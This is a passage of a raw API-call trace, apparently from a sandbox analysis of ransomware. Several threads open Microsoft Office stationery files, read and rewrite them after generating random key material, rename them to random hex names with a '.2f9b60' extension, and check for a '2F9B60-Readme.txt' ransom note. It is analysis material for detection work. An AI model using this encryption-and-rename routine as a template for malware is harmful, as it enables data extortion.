RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168000) returned 1 [0118.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa2f0) returned 1 [0118.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0118.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa650) returned 1 [0118.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa620) returned 1 [0118.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe80) returned 1 [0118.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8613b0) returned 1 [0118.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861290) returned 1 [0118.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ae420 [0118.305] wcscpy (in: _Dest=0x1b7ae420, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" [0118.305] wcscat (in: _Dest=0x1b7ae420, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG.2f9b60" [0118.305] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG.2f9b60", NtPathName=0x3c26fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0118.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20278e30 [0118.305] NtSetInformationFile (FileHandle=0xe60, IoStatusBlock=0x3c26fe10, FileInformation=0x20278e30, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0118.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278e30) returned 1 [0118.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49ee0) returned 1 [0118.356] NtQueryInformationFile (in: FileHandle=0xe60, IoStatusBlock=0x3c26fdd8, FileInformation=0x3c26fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c26fdd8, FileInformation=0x3c26fde8) returned 0x0 [0118.356] NtSetInformationFile (FileHandle=0xe60, IoStatusBlock=0x3c26fdd8, FileInformation=0x3c26fde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0118.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae420) returned 1 [0118.361] FlushFileBuffers (hFile=0xe60) returned 1 [0118.362] CloseHandle (hObject=0xe60) returned 1 [0118.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ae420 [0118.363] wcscpy (in: _Dest=0x1b7ae420, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0118.363] wcscat (in: _Dest=0x1b7ae420, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0118.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0118.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae420) returned 1 [0118.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86baf0) returned 1 Thread: id = 1324 os_tid = 0xedc [0117.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.htm")) returned 0x20 [0117.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM", dwFileAttributes=0x20) returned 1 [0117.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15cc [0117.991] GetFileSizeEx (in: hFile=0x15cc, lpFileSize=0x37cffbe0 | out: lpFileSize=0x37cffbe0*=509) returned 1 [0117.991] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x1f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.991] ReadFile (in: hFile=0x15cc, lpBuffer=0x37cffb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37cffba8, lpOverlapped=0x0 | out: lpBuffer=0x37cffb60*, lpNumberOfBytesRead=0x37cffba8*=0x4, lpOverlapped=0x0) returned 1 [0117.992] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0117.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa70 [0117.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa2f0 [0117.994] NtQuerySystemTime (in: CurrentTime=0x37cffaa0 | out: CurrentTime=0x37cffaa0*=132462177234346000) returned 0x0 [0117.994] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x716e01ee [0117.994] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x684822f0 [0117.994] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x11c1c567 [0117.994] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x6de3adeb [0117.994] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x46f1be19 [0117.994] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x478848e0 [0117.994] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x641bc4c2 [0117.994] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x1428227e [0117.994] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x344c7d58 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x3f19e79a [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x9563ebd [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x7c392b26 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0xcd1a620 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x6e231ea7 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x51276b47 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x1c107367 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x697a72b [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0xe0dcb1d [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x2a98d7b1 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x6d7e282 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x367a42b [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x160df82f [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x512313fa [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x48e2e24 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x152d92e5 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x714cb25c [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x56c59c86 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x457992c6 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x55c488e3 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x45e76780 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x17737487 [0117.995] RtlRandomEx (in: Seed=0x37cffa90 | out: Seed=0x37cffa90) returned 0x2ac9e9a2 [0118.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa2c0 [0118.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0118.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa260 [0118.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0118.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa2f0) returned 1 [0118.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0118.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0118.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0118.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0118.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0118.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc0d80 [0118.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb5950 [0118.017] ReadFile (in: hFile=0x15cc, lpBuffer=0x41fc0d80, nNumberOfBytesToRead=0x1fd, lpNumberOfBytesRead=0x37cffa90, lpOverlapped=0x0 | out: lpBuffer=0x41fc0d80*, lpNumberOfBytesRead=0x37cffa90*=0x1fd, lpOverlapped=0x0) returned 1 [0118.017] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.017] WriteFile (in: hFile=0x15cc, lpBuffer=0x41fb5950*, nNumberOfBytesToWrite=0x1fd, lpNumberOfBytesWritten=0x37cffa94, lpOverlapped=0x0 | out: lpBuffer=0x41fb5950*, lpNumberOfBytesWritten=0x37cffa94*=0x1fd, lpOverlapped=0x0) returned 1 [0118.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa8f0 [0118.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa980 [0118.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa980) returned 1 [0118.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb5950) returned 1 [0118.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc0d80) returned 1 [0118.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0118.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0118.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aa980 [0118.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0118.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0118.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaaa0 [0118.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaaa0) returned 1 [0118.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aaaa0 [0118.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa8c0 [0118.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0118.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0118.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0118.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0118.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1675e0 [0118.055] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0118.055] WriteFile (in: hFile=0x15cc, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x37cffbb0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x37cffbb0*=0x10a, lpOverlapped=0x0) returned 1 [0118.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0118.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0118.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0118.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0118.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0118.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0118.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860db0 [0118.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860db0) returned 1 [0118.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0118.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0118.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0118.128] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="39") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="1a") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="b2") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="b4") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="6f") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="39") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="11") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="59") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="b0") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="e6") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="fd") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="30") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="8d") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="05") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="89") returned 2 [0118.128] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="9a") returned 2 [0118.129] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="dd") returned 2 [0118.129] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="ea") returned 2 [0118.129] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="1f") returned 2 [0118.129] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="22") returned 2 [0118.129] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="f7") returned 2 [0118.129] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="28") returned 2 [0118.129] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="ae") returned 2 [0118.129] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="3b") returned 2 [0118.129] RtlInitAnsiString (in: DestinationString=0x37cffc28, SourceString="391ab2b46f391159b0e6fd308d05899addea1f22f728ae3b" | out: DestinationString="391ab2b46f391159b0e6fd308d05899addea1f22f728ae3b") [0118.129] RtlAnsiStringToUnicodeString (in: DestinationString=0x37cffbf8, SourceString="391ab2b46f391159b0e6fd308d05899addea1f22f728ae3b", AllocateDestinationString=1 | out: DestinationString="391ab2b46f391159b0e6fd308d05899addea1f22f728ae3b") returned 0x0 [0118.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8fa0 [0118.129] RtlFreeAnsiString (AnsiString="3") [0118.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0118.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0118.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0118.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1675e0) returned 1 [0118.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaaa0) returned 1 [0118.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa8c0) returned 1 [0118.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa980) returned 1 [0118.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa8f0) returned 1 [0118.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa70) returned 1 [0118.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa2c0) returned 1 [0118.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa260) returned 1 [0118.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad7a0 [0118.131] wcscat (in: _Dest=0x1b7ad7a0, _Source="391ab2b46f39" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\391ab2b46f39") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\391ab2b46f39" [0118.131] wcscat (in: _Dest=0x1b7ad7a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\391ab2b46f39.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\391ab2b46f39.2f9b60" [0118.131] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\391ab2b46f39.2f9b60", NtPathName=0x37cffbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\391ab2b46f39.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0118.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202797f0 [0118.131] NtSetInformationFile (FileHandle=0x15cc, IoStatusBlock=0x37cffc70, FileInformation=0x202797f0, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0118.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202797f0) returned 1 [0118.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0118.312] NtQueryInformationFile (in: FileHandle=0x15cc, IoStatusBlock=0x37cffc38, FileInformation=0x37cffc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x37cffc38, FileInformation=0x37cffc48) returned 0x0 [0118.312] NtSetInformationFile (FileHandle=0x15cc, IoStatusBlock=0x37cffc38, FileInformation=0x37cffc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0118.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0118.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8fa0) returned 1 [0118.326] FlushFileBuffers (hFile=0x15cc) returned 1 [0118.331] CloseHandle (hObject=0x15cc) returned 1 [0118.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ada20 [0118.332] wcscpy (in: _Dest=0x1b7ada20, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0118.332] wcscat (in: _Dest=0x1b7ada20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0118.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0118.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ada20) returned 1 [0118.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bb80) returned 1 Thread: id = 1325 os_tid = 0xf14 [0117.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg")) returned 0x20 [0117.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG", dwFileAttributes=0x20) returned 1 [0117.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe34 [0117.989] GetFileSizeEx (in: hFile=0xe34, lpFileSize=0x3bf0fc20 | out: lpFileSize=0x3bf0fc20*=6281) returned 1 [0117.989] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x1885, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.989] ReadFile (in: hFile=0xe34, lpBuffer=0x3bf0fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3bf0fbe8, lpOverlapped=0x0 | out: lpBuffer=0x3bf0fba0*, lpNumberOfBytesRead=0x3bf0fbe8*=0x4, lpOverlapped=0x0) returned 1 [0118.020] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0118.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa2f0 [0118.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa290 [0118.020] NtQuerySystemTime (in: CurrentTime=0x3bf0fae0 | out: CurrentTime=0x3bf0fae0*=132462177234658000) returned 0x0 [0118.020] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x693ac65c [0118.020] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x385aa14e [0118.020] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x29038398 [0118.020] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x79a6a26a [0118.020] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x28635c3b [0118.020] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x5fc211f6 [0118.020] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x3ef8ee4d [0118.020] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x1ae78a7 [0118.020] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x4b889824 [0118.020] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x40656e20 [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x2ebaf65e [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x31695a41 [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x36daad21 [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x37f623bf [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x5373aa35 [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x6af653cb [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x4dc49686 [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x4847a5ff [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x6a18ea16 [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x39e19aba [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x794ae395 [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x44101740 [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0xf3a7653 [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x78df02ac [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x2cbaba7 [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x46e87c00 [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x1d31084e [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0xba047a2 [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x2006b931 [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x112ed9fd [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x1dc0bf0e [0118.021] RtlRandomEx (in: Seed=0x3bf0fad0 | out: Seed=0x3bf0fad0) returned 0x1be1ff42 [0118.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa650 [0118.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 